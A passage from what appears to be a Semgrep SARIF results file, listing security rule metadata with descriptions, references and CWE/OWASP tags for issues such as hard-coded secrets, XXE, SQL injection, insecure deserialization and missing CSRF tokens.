(HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","id":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","name":"python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-oauth-hardcoded-secret.python-requests-oauth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"help":{"markdown":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager)\n - [https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https](https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https)\n","text":"Detected empty trust manager implementations. This is dangerous because it accepts any certificate, enabling man-in-the-middle attacks. Consider using a KeyStore and TrustManagerFactory instead. See https://stackoverflow.com/questions/2642777/trusting-all-certificates-using-httpclient-over-https for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","id":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","name":"java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.insecure-trust-manager.insecure-trust-manager"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","id":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","name":"python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-hardcoded-secret.python-couchbase-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","id":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","name":"java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","id":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","name":"ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-uri-secret.ruby-faraday-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli)\n - [https://github.com/brianmario/mysql2](https://github.com/brianmario/mysql2)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use sanitize statements like so: `escaped = client.escape(user_input)`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","id":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","name":"ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.mysql2-sqli.mysql2-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","id":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","name":"javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-code-injection.vm2-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","id":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","name":"javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-connection-string-hardcoded-secret.node-pg-connection-string-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","id":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","name":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","id":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","name":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","id":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","name":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"help":{"markdown":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n","text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","id":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","name":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"help":{"markdown":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this","id":"cpp.lang.correctness.sizeof-this.sizeof-this","name":"cpp.lang.correctness.sizeof-this.sizeof-this","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-this.sizeof-this"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"help":{"markdown":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token)\n - [https://docs.djangoproject.com/en/4.2/howto/csrf/](https://docs.djangoproject.com/en/4.2/howto/csrf/)\n","text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"helpUri":"https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token","id":"python.django.security.django-no-csrf-token.django-no-csrf-token","name":"python.django.security.django-no-csrf-token.django-no-csrf-token","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-no-csrf-token.django-no-csrf-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"help":{"markdown":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service)\n - [https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir](https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir)\n - [https://blog.atomist.com/security-of-docker-kubernetes/](https://blog.atomist.com/security-of-docker-kubernetes/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only)\n","text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","id":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","name":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","id":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","name":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"help":{"markdown":"Detected possible 